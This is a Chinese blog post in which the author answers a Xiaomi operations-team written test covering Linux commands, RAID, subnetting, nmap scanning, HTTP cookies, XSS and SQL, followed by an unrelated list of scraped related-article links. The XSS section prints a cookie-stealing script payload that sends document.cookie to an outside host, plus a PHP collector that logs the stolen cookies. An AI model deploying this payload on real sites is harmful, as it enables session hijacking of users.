15年准备实习生面试时答的题,仅供参考

具体题目详见  http://www.tuicool.com/articles/eYRZBr

http://noops.me/?p=1154

一、linux基础

1)linux系统中如何获取pid为100的进程所监听的tcp端口,请给出详细命令?

【答】

方法一:

1 netstat -nlg | grep 1950   
2 [root@localhost pierre]# netstat -nlp | grep 1950
3 tcp        0      0 0.0.0.0:22                  0.0.0.0:*                   LISTEN      1950/sshd         
4 tcp        0      0 :::22                       :::*                        LISTEN      1950/sshd

方法二:

1 ss -pl | grep 1950 
2 [root@localhost pierre]# ss -pl | grep 1950
3 0      128                         :::ssh                          :::*        users:(("sshd",1950,4))
4 0      128                          *:ssh                           *:*        users:(("sshd",1950,3))

方法三:

1 lsof -Pnl +M -i4|grep 1950
2 [root@localhost pierre]# lsof -Pnl +M -i4|grep 1950
3 sshd       1950        0    3u  IPv4     12599      0t0  TCP *:22 (LISTEN)

三种命令都可以实现,个人三种都会用,比较偏爱的是ss,当然有时候会忘记,这次正好总结一下

缺点:出来的结果,不一定是目的结果,grep的不一定是pid

2)如何查找在/home/work/log/路径下,修改时间在3天以前的文件,并将这些文件mv到/home/work/log/backup下?

1 【答】
1 find /home/work/log -mtime +3 -exec mv {} /home/work/log/backup/{}  \;

ps.补充几点

linux下find支持-mmin参数,以分为单位

find /home -mmin +30  查30分钟前改动过的文件

find -mmin -10 ! -name "."      不包括 "."  -mmin参数

find /home/work/log -mtime +3 -exec mv {} /home/work/log/backup/{}  \;

find: missing argument to `-exec'  注意: “\;” 部分 不能有空格

1 [pierre@localhost ~]$ stat .

File: `.'

Size: 4096           Blocks: 8          IO Block: 4096   directory

Device: fd00h/64768d     Inode: 262159      Links: 27

Access: (0700/drwx------)  Uid: (  500/  pierre)   Gid: (  500/  pierre)

Access: 2015-08-24 19:05:16.109807264 +0800

Modify: 2015-08-24 19:05:14.028652856 +0800

Change: 2015-08-24 19:05:14.028652856 +0800

atime mtime ctime的区别可以从stat的数据中发现一二,详细看我很久以前一篇水文:点我

3)操作系统中,父进程需要传输一份1KB的数据给子进程,有几种方法可以实现?并请给出一种方法的代码实现(语言不限)?

【答】

管道?内存共享?socket?  这题目先留着,等有时间再好好答

4)需要抓取eth1网卡上从127.10.32.5发到本机8080端口的数据包,请列举你能想到的工具或者方法?并给出一个具体的方法的实现(详细命令或者代码)?

【答】

常用抓包工具就是tcpdump和wireshark。一般linux发行版会自带tcpdump(部分阉割版没有,像大疆无人机的)。而我们在本地电脑分析时可能偏爱wireshark。

本文假设是在服务器端抓包:

方法一:

1 tcpdump -i eth1 src host 127.10.32.5 and dst port 8080

在实战中,由于我对tcpdump不算特别熟,偏爱把包统统抓下,再移到本地用wireshark的显示过滤进行包的分析。ps.命令行界面分析数据包略蛋疼额

方法二:

1 tcpdump -w test.cap

抓下所有包

利用

1 python -m SimpleHTTPServer

开启一个简易server,将包传到本地电脑

在wireshark的filter里填写

1 ip.src==127.10.32.5 && tcp.dstport==8080

// 这里端口是要指明tcp还是udp的,  端口是一种抽象的软件结构。8080端口可以同时为udp和tcp

wireshark的详细用法看我的这篇博客:点我

二、系统/网络

给一台服务器安装linux操作系统,请回答在安装和使用过程中遇到的一些问题:

1)服务器有6块600G的SAS磁盘,通过阵列卡做RAID5,请问实际操作系统可使用的空间是多大?

【答】

raid就是所谓的独立磁盘列阵,通过廉价的磁盘,实现数据的高可用。

常见的raid方法有:raid 0 ;raid 1 ;raid 0+1 ;raid 10等

RAID 0是组建磁盘阵列中最简单的一种形式,只需要2块以上的硬盘即可,成本低,可以提高整个磁盘的性能和吞吐量。RAID 0没有提供冗余或错误修复能力,但实现成本是最低的。

RAID 1称为磁盘镜像,原理是把一个磁盘的数据镜像到另一个磁盘上,也就是说数据在写入一块磁盘的同时,会在另一块闲置的磁盘上生成镜像文件,在不影响性能情况下最大限度的保证系统的可靠性和可修复性上.

……

RAID 5 算是一种在RAID0和RAID1之间折中的做法(废话,其他raid也基本是的)。没有独立的奇偶校验盘,所有校验信息分散放在所有磁盘上,只是在存储空间上为N-1。所以可用是5*600=3000G

2)网络管理员告诉我们这台服务器使用10.0.0.128/26段中的第一个地址,网关是这段地址中的最后一个地址。请列出机器的IP地址、子网掩码和网关。

【答】

这个就比较简单,只要学过计算机网络的基本都会了解。

10.0.0.128/26  最后一个化成二进制:10.0.0.1000 0000 网络号就是这个,主机号就是后面六位数字,子网掩码是:255.255.255.192

可用ip一般会去掉第一个网络号ip和最后一个广播ip。所以第一个可用的ip地址是10.0.0.129,如题假设的网关就是10.0.0.191(网关并不一定就是最后一个ip)

3)服务器交付业务方使用后,使用netstat命令发现有大量的time_wait连接,请简述time_wait连接存在的原因。

【答】

这个可以看我这篇博文:点我 (还没完全写完【掩面)想以最简单的话,阐述出来,所以写写删山,一直没完。  此外这个人的这个文章还是可以的:点我 非常详细,推荐

什么时候会出现time_wait?

通信双方建立TCP连接后,主动关闭连接的一方就会进入TIME_WAIT状态。

time_wait存在的原因?

1)可靠地实现TCP全双工连接的终止

2)允许老的重复分节在网络中消逝

补充:

1.一般线上出现大量time_wait的重要背景是业务使用了nginx代理。由于nginx使用短链接的方式和后端大量交互,使得nginx和后端的ESTABLISHED变得很少而TIME_WAIT很多。这里就涉及到nginx的一些知识,我后续应该会把我学习nginx的笔记放出来。大家记得关注 http://ww.bearzone.cc

2.time_wait的持续时间一般是2msl(maximum segment lifetime),rfc推荐msl=2分钟,linux貌似是1 msl=30 s,win是2min.此处没有特别深刻的理解

3.

1 netstat -n | awk '/^tcp/{++S[$NF]} END {for(a in S) print a,S[a]}'

可以清晰查看当前的time_wait以及其他相似的tcp指标

4)简述TCP建立连接的过程;运维中经常nmap进行端口扫描,描述nmap进行TCP扫描的原理。

【答】

先扯两句:作为一个信息安全的学生,对安全还是小有研究,当然比较熟悉nmap的一些使用。以前貌似写过一篇博文关于nmap的,后来不知不觉就丢了,可惜!挂一篇lijiejie学长的博文吧,方便以后查看 http://www.lijiejie.com/nmap-fast-scan-large-networks/

nmap全程:Network Mapper。一个网络连接端扫描软件,用来扫端口啊,扫存活啊,扫指纹啊。由于扫描方案比较多,提供icmp、tcp和udp等多种协议,多种方案的,并且可以以一种比较猥琐的姿态实现扫描,所以还是很受欢迎的。

既然题目问的是TCP扫描,那我们就专谈TCP,以后也许会放上我对nmap的总结。

tcp syn scanning是nmap的默认扫描方式,通常被称作半开放扫描。简单而言,就是扫描时发送syn包到目的端口,如果收到syn/ack回复,那么就可以判断端口是开放的,如果收到的是rst包,那么端口就是关闭的。如果没有收到回复,那么判断该端口被屏蔽(Filtered)简单而言,就是个三次握手建立一半的过程。

1 nmap -sS ***

tcp connect scanning则是使用API connect向目的主机端口发起完整的连接。完整的三次握手,速度必然比较慢的,一般上面这种方法不行才会使用。

nmap -sT

tcp ack scanning则是向目的主机的端口发送ack包,如果收到rst包,则说明端口没有被防火墙屏蔽;没有收到rst包,说明被屏蔽。一般用于辅助tcp syn扫描

其他还有三种TCP FIN/Xmas/NULL scanning 一般做安全的估计也没人用,ops当然也用的比较少。

5)Zmap是一个号称44分钟可以扫遍全球公网机器端口。结合TCP三次握手原理和系统编程知识,简述类似产品的设计思想,并尝试描述你的实现。

【答】

zmap以前有所耳闻,却总是和nmap的gui版zenmap搞混【掩面。上次和阿宝sin牛讨论这个时,才有所了解

参考:http://netsecurity.51cto.com/art/201308/407831.htm

如果想快速扫描全网,如果采用三次握手那种,是不可能的(无论那种做法,就算并发量达到极致,也达不到把)。而zmap采用一个非常猥琐的方法,采用无状态的方法,即向服务器发送请求时,不保持任何握手信息,而将收到的信息进行一些类似正则编码之类的处理,不对信息进行辨别。

这样避开三次握手的带来的开销,不过个人理解对返回数据的安全性和完整性带来一定挑战。

三、开发/安全

1)http keep-alive的作用是什么,有什么优缺点?

【答】

参考:http://www.cnblogs.com/huangfox/archive/2012/03/31/2426341.html

个人觉得比较好理解吧,避免一些连接的建立和重新建立。

建立连接,会伴随socket的建立等消耗系统资源的情况。

保持当前连接,同样会消耗系统资源。

所以参数的设置,应该要有一个不错的平衡。

2)简述cookie的作用,以及http cookie和session的区别和联系

【答】

老生常谈的问题,我将新建一篇文章,把我的各种总结放上来,具体请关注:www.bearzone.cc。我相信会说的非常明白!

再次我就以最简单的话来表达:

cookie的作用就是弥补http无状态的缺陷。

cookie是客户端保持对的方案,session是服务器端保持的方案

session可以通过cookie机制协助完成,也可以通过url重写或表单隐藏字段完成。

3)对于cookie劫持攻击,给出至少两种防御方案

【答】

1.httponly

目前主流的一种简易方法,设置后可以让js无法调用cookie,对于防范xss确实有一定作用,不过对方使用xss proxy之后也没什么太大的作用

2.仅通过SSL来发送cookie。如果你要求浏览器在传输之前加密cookie,在传输中就不易遭受攻击

暂时先这两个,其实都存在较大缺陷,我在想想,有没有为只的

4)xss攻击中,给出一个窃取用户浏览器cookie的xss-payload

【答】

作为一个半安全的dog,

页面构造一个这个

1 <script>window.open('http://www.bear2.cn/test.php?c='+document.cookie)</script>

www.bear2.cn/test.php  (这个脚本是实际不存在的)

01 <?php
02 $cookie $_GET['c'];
03 $ip getenv ('REMOTE_ADDR');
04 $time=date("j F, Y, g:i a");
05 $referer=getenv ('HTTP_REFERER');
06 $fp fopen('cookie.txt''a');
07 fwrite($fp'Cookie: '.$cookie.'
08  IP: ' .$ip. '
09  Date and Time: ' .$time. '
10  Referer: '.$referer.'
11  
12  
13 ');
14 fclose($fp);
15 ?>

就这样一个简单的demo

5)xss问题产生的本质是什么,并阐述防御方案

【答】

这个问题在《白帽子讲web安全》这本书里有过描述,个人如果扯起来、、、估计又要扯半天,因为xss又分很多种,所以、、、、

简单而言,就是1.用户的能够控制了脚本的输入 2.用户恶意拼接了脚本的输入。 (定义收到道哥对sql注入的影响,大概就是这个意思。)

防范的话,可以采用一些方法:对用户的输入实现过滤,像php里的htmlspecialchars() 这个函数来实现。

由于自己对xss理解也不是很深刻,只能简单到此,不继续扯了~

6)编码实现一个简单的http server,至少支持GET请求解析和响应,编程语言不限

【答】

额,独立完成,纸上手写、、、如果真枪实弹,鸭梨三大!!!

思路一:投机取巧型

1 python -m SimpleHTTPServer

直接调用python的模块

思路二:利用第三方的模块,半编码实现

01 package main
02  
03 import (
04     "fmt"
05     "log"
06     "net/http"
07 )
08  
09 func sayHello(w http.ResponseWriter, r *http.Request) {
10     fmt.Fprintf(w, "hello world!")
11 }
12 func main() {
13     http.HandleFunc("/", sayHello)
14     err := http.ListenAndServe(":8880", nil)
15     if err != nil {
16          log.Fatal("ListenAndServe: ", err.Error())
17     }
18 }

这是当时学go语言时,看七牛云存储ceo书模仿的一段,功能比较弱。

思路三:完全使用c/c++,不用第三方模块

难度比较大,暂时没这能力

补充:出题者貌似对思路一并不排斥~

四、数据库

某消费系统中包含2张表,用户信息表和消费流水表,结构和数据如下:

表这出现bug

1)请按要求写出上面两张表的建表sql语句;

【答】

额,由于好久没碰数据库了,只有为数不多的几次小项目用到相关sql,自己还是采用phpmyadmin、navicat for MySQL这些工具,再加上实习期间没怎么接触dba的工作,所以写sql语句生疏很多,几个关键句子都默默看了相关的书【掩面!

1 use test_database;      #自己定义的库名
2 create table user(
3     ID int primary key AUTO_INCREMENT,
4     NAME varchar(10) not null,
5     Balance varchar(10) not null
6 );
7 insert into user(NAME,Balance) values("A","19.50");

其他类似,不一一列了

2)请分别写出下面两组sql语句的输出结果;

Delete from user;

Insert into user value (‘’, ‘D’, 300);

【答】

清空user表,表还在

插入新的数据,自增主键任然自增,ID为5

Truncate user;

Insert into user value (‘’, ‘D’, 300);

【答】

清空user表

插入新数据,自增主键不自增,ID为1

主要应该就是考察delete和truncate的区别吧,二者都可以清空表的内容,不过,truncate同时会清空表的自增计时器。

3)请写出能产生下面查询结果的SQL语句:

4)系统运行一段时间后,流水表的记录变得非常大,通过用户名(NAME)查询用户消费记录(FEE)时响应速度非常慢,请简述你的优化方案。

【答】

对mysql的理解不是很多,

第一映像是增加索引,还有分区表什么的。唉,由于缺乏大量数据的经验,之前也没做过类似的,所以不是很了解。

【题目评价】

1.题目是小米运维部14年校招笔试题A的题目。

2.题目稍微偏实战一点,稍不注意可能以为是简单的社招题,在大公司实习的话帮助比较大。

3.题目整体上不算特别难,从我没完全结束的答题可以看出,我的博客或印象笔记几乎都有涉及。不过现场在白纸上做的话,很多细节都记不清,这个也很麻烦!很多东西其实真没必要去强背。

欢迎到我的博客:www.bear2.cn  进行讨论

我的邮箱admin@bear2.cn

小米运维部14年校招笔试题A的个人答案相关推荐

  1. 关于python类的继承正确的说法是_2017美团点评的运维岗校招笔试题,测测你会几题?...

    原标题:2017美团点评的运维岗校招笔试题,测测你会几题? 1.数据库:以下哪项不是HASH索引的特征? A MySQL不能确定在两个值之间大约有多少行 B 不能使用hash索引来加速ORDER BY ...

  2. 专访淘宝仲明:揭秘阿里运维部的故障响应机制(

    [51CTO专访]在2012年12月4日召开的Velocity China大会上,大家翘首以盼的.有关淘宝双十一的分享,终于正式跟大家见面啦!虽然这一场被安排在了下午5点以后,但现场的观众们仍然很热情 ...

  3. 运维部门工作总结_运维部工作总结

    文档来源为 : 从网络收集整理 .word 版本可编辑 . 欢迎下载支持 . 1 运维部工作总结 篇一:年终总结 ( 运维部 ) XX 年运维部工作总结 XX 年业已尾声, 我部门在公司的正确领导下, ...

  4. 百度运维部电子竞技大赛!

    神马?运维部电子竞技大赛已经开始了!神马?第一个百度运维工程师冠军这就要产生了?神马?大家都是一个起点--         为了让更多的热爱电子游戏的运维同学感受电子竞技大赛的氛围,参与到电子竞技大赛 ...

  5. 百度运维部—趣味运动会

    近期我们开展了百度趣味运动会!旨在把员工们从日常繁重的工作中解脱出来,让成员彻底抛弃工作中的压力,让快乐不再压抑,将信心从此增强,把力量悄悄凝聚.我们的趣味运动会兼顾了趣味性与团队性.即竞技.娱乐.健 ...

  6. 运维部门工作总结_运维部技术工作总结

    运维部技术工作总结运维部技术工作总结 转眼间我来到中国电信运维部宽带班工作已经三个月的时间.在这三个月的时间里,自己学习到了很多有关宽带的知识.为了更好地完成工作,总结经验,扬长避短,提高自己的业务技 ...

  7. 运维部门工作总结_运维部年终工作总结范文

    运维部年终工作总结范文 运维, 这里指互联网运维, 通常属于技术部门, 与研发. 测试. 系统管理同为互联网产品技术支撑的 4 大部门, 这个划分在国内和国 外以及大小公司间都会多少有一些不同. 下面 ...

  8. 运维部知识库管理办法V1版

    运维部知识库管理办法V1版 随着业务系统对于IT系统依赖性提高,IT技术愈加复杂,变更日趋频繁.系统高可用要求极大提高,快速响应各种需求,灵活支撑业务发展,高效迭代下保持稳定,运维的压力也像山一样的成 ...

  9. 2021暑期实习面试经验——360系统运维部(网络工程师)

    [进度概览]:3.15网申--3.27笔试--4.8一面--4.15二面,目前等HR面. 笔试(3月27日) 60min 行测题:图像规律.数字规律.语义分析.逻辑分析:共40道较常规. 一面(4月8 ...

最新文章

  1. CV入门赛最全思路上分技巧汇总!
  2. 【UIKit】文本框(UITextField)及键盘遮挡处理和回收
  3. JAVA实现包含main函数的栈问题(《剑指offer》)
  4. Android开发--图形图像与动画(二)--Animation实现图像的 渐变 缩放 位移 旋转
  5. 使用 Optional 摆脱 NullPointException 的折磨
  6. pthread_cleanup_push与pthread_cleanup_pop的目的、作用
  7. opencv中的imread不支持中文路径的解决办法
  8. DebugView调试C#程序 学习总结
  9. c语言 gbk字模点阵数组,GBK点阵显示字库的制作和使用
  10. MySQL基础篇(06):事务管理,锁机制案例详解
  11. word正在等候其他应用程序完成OLE操作
  12. Java 多线程 通信 通道 (猫狗赛跑)
  13. 什么是死亡之 Ping 攻击?
  14. 模糊查询SqlParameter参数化like
  15. Cisco switch spanning-tree priority 0
  16. 只用一个div画一个小米logo
  17. 《淘宝店铺营销推广一册通》一2.2 选择店铺行业
  18. oracle数据库 dmp文件,数据库DMP文件损坏怎么修复
  19. 【原生js实现MVVM核心框架】
  20. Oracle中的commit与rollback

热门文章

  1. R语言入门第一集 R语言、RTools、RStudio的简介、安装与使用
  2. vue3中进行vuex的分包管理(typescript)
  3. 深度学习分类pytorch_pytorch使用转移学习的狗品种分类器
  4. 美团一面-20200328-1h
  5. cc++语言参考手册_C ++值类别快速参考:第2部分
  6. python简单代码画皮卡丘-用python画一只可爱的皮卡丘
  7. AI+MR遇冷后回暖,国内公司抢先卡位仍有风险待解
  8. 全球游戏收入将随着电影电视改编作品的不断增多而达到惊人水平 | 美通社头条...
  9. 组织行为学笔记(3)——情绪和心情
  10. 韩式多用动态图(甜蜜女孩)